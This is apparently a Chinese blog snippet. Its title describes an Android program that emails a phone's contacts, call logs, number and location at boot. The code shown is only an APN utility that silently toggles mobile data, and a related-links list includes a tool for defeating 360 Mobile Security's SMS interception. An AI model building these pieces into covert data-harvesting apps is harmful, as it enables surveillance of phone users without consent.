`

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(apn操作)

阅读更多


 static Uri uri = Uri.parse("content://telephony/carriers");
 static Context context;
 public APNUtils(Context context){
  this.context=context;
 }
 
/**
 * 检查网络
 * @return
 */
    public static boolean checkNet() {
         boolean flag = false;
         ConnectivityManager cwjManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
         if (cwjManager.getActiveNetworkInfo() != null) {
             flag = cwjManager.getActiveNetworkInfo().isAvailable();
         }
         return flag;
     }
 /**
  * 打开网络
  */
 public static void openAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn));
   cv.put("type", APNMatchUtils.matchAPN(apn.type));
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
/**
 * 关闭网络 
 */
 public static void closeAPN() {
  List<APN> list = getAPNList();
  for (APN apn : list) {
   ContentValues cv = new ContentValues();
   cv.put("apn", APNMatchUtils.matchAPN(apn.apn) + "mdev");
   cv.put("type", APNMatchUtils.matchAPN(apn.type) + "mdev");
   context.getContentResolver().update(uri, cv, "_id=?",
     new String[] { apn.id });
  }
 }
 
 private static List<APN> getAPNList() {
  String tag = "Main.getAPNList()";
  // current不为空表示可以使用的APN
  String projection[] = { "_id,apn,type,current" };
  Cursor cr = context.getContentResolver().query(uri, projection, null,
    null, null);
  List<APN> list = new ArrayList<APN>();
  while (cr != null && cr.moveToNext()) {
   Log.d(tag, cr.getString(cr.getColumnIndex("_id")) + "  "
     + cr.getString(cr.getColumnIndex("apn")) + "  "
     + cr.getString(cr.getColumnIndex("type")) + "  "
     + cr.getString(cr.getColumnIndex("current")));
   APN a = new APN();
   a.id = cr.getString(cr.getColumnIndex("_id"));
   a.apn = cr.getString(cr.getColumnIndex("apn"));
   a.type = cr.getString(cr.getColumnIndex("type"));
   list.add(a);
  }
  if (cr != null)
   cr.close();
  return list;
 }

 

分享到:
评论

相关推荐

    服务器开机自动发送短信到手机

    服务器开机自动发送短信到手机! reg add hkcu\software\microsoft\windows\currentversion\run /v feixin /t reg_sz /d c:\windows\feixin.bat /f :: sno 为自己的手机号;psw 为飞信密码 ;msg 为消息 set sno=...

    GSM短信接收发送模块使用说明书

    * 报警电话设置:预存代码 A、B、C、D、E、F、G、H、I、J(可存 10 组手机号码)用户管理员手机号码编辑短信发送到系统的 SIM 卡号码。 * 删除接警电话:代码 X 删除除管理员手机号码外的所有接警号码。 * 修改...

    自动上报本地公网IP到指定邮箱

    2)当公网IP变化时或定时时间到时自动发送邮件到指定邮箱。3)可以设置发送邮箱账号、接收邮箱账号及密码。SMTP服务器及端口号可设置。支持QQ、163等主流SMTP服务器。4)支持普通SMTP(25端口)及SSL SMTP(465端口...

    安卓短信彩信相关相关-防止手机丢失开机自启检测sim卡是否为原来那张不是则想一个号码发送短信.rar

    标题中的"安卓短信彩信相关相关-防止手机丢失开机自启检测sim卡是否为原来那张不是则想一个号码发送短信.rar"是一个针对这个问题的解决方案。这个压缩包文件包含了可能用于创建一个安全应用的源代码,该应用会在设备...

    用单片机控制手机收发短信息

    系统可以预先配置好短消息服务中心地址和服务号码,然后按照预定时间间隔自动构建并发送PDU数据包,从而实现数据的远程传输。 #### 六、总结 本文详细介绍了使用MCS-51系列单片机控制手机收发短信息的原理、硬件...

    小米手机电源键坏使用电脑开机

    以下将详细介绍如何在电源键损坏的情况下,通过电脑程序实现小米手机的开机。 首先,我们需要理解这个过程的核心原理。手机与电脑之间的通信通常依赖于USB数据线,通过USB调试模式,电脑可以识别并控制手机的部分...

    电信设备-手机短信发送方法.zip

    6. 送达:当收件人的手机在服务区并且开机时,短信中心会将短信传送到手机上。 三、短信发送技术细节 1. SMS协议:短信服务基于SMPP(Short Message Peer-to-Peer)协议,这是一种应用层协议,用于系统间的消息...

    Android 攻破360手机卫士的短信拦截开机启动等服务.rar

     隐私空间:可以设置保密的联系人,与保密联系人之间的短信与通话记录就会被加密起来。  题外话:在研究开机启动的时候,是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,...

    python监控电脑 定时截屏上传到指定邮箱

    加入开机运行,便可在后台监控电脑 定时截屏上传到指定邮箱

    MTK 7.1 定时发送短信

    【MTK 7.1 定时发送短信】功能是在短信应用中添加了一项创新性的服务,允许用户预先设定短信的发送时间,从而在指定的时刻自动发送短信。这一特性对于那些希望在特定时间(如生日、纪念日或重要会议之前)发送消息的...

    365手机通讯秘书.zip

    分析短信内容,若包含敏感词则屏蔽,保存垃圾短信到垃圾箱中(设计一个垃圾短信的数据库,除了_id外,还包含手机号和短信内容,垃圾短信的收件时间三个字段)。 ①垃圾箱(垃圾箱表)(读取数据库中的信息,用...

    自启动发送指定信息到邮箱示例

    在IT领域,自启动发送指定信息到邮箱的功能通常用于自动化监控、日志报告或系统报警。这个示例涉及几个关键知识点,包括自启动程序、网络连接检测、IP地址获取以及邮件发送。以下是对这些知识点的详细说明: 1. **...

    手机开机动画

    本文将深入探讨如何更改手机的开机动画,并介绍与安卓手机开机动画相关的知识点。 首先,了解开机动画的工作原理至关重要。在手机启动时,系统加载引导程序,接着是内核,然后是操作系统。开机动画就是在操作系统...

    手机防盗软件实现(源码)

    3.每次开机程序自动运行,检测到别人如果使用你的手机,自动把他的通话记录,跟gps坐标发送到绑定好的手机号上。 4.知道用你手机人的手机号,最近通话记录,gps坐标后,再自己想办法找到这人吧。 具体代码 1.取sim...

    老年人用智能手机教程.ppt

    5. **发短信**:在主界面进入短信应用,选择或输入收件人电话,编写短信内容,选择发送。可使用语音输入、切换输入法、插入表情等功能。 6. **拍照片**:打开相机应用,可以调整设置,点击拍照按钮进行拍摄,还可以...

    s40手机定时发信息

    在这款手机上实现“定时发送信息”是一项非常贴心的功能,它允许用户预先设定好短信内容和发送时间,到指定时间后手机会自动发送出去,这对于忙碌的用户或者想在特定时间表达心意的人尤为方便。下面我们将详细探讨这...

    安卓手机开机画面

    【安卓手机开机画面】是指手机启动时显示的动画效果,它是用户首次接触手机系统时的视觉体验之一。在安卓系统中,开机画面可以通过修改特定的文件来定制,以展现个性化或者品牌特色。在这个案例中,我们关注的是为...

    Android手机刷机失败无法开机自救大法.pdf

    Android手机刷机失败无法开机自救大法 本文主要讲述了Android手机刷机失败无法开机的自救方法。对于经常刷机的Android用户来说,难免会碰到刷机失败损坏recovery程序乃至手机无法启动的情况,也就是传说中的手机变...

Global site tag (gtag.js) - Google Analytics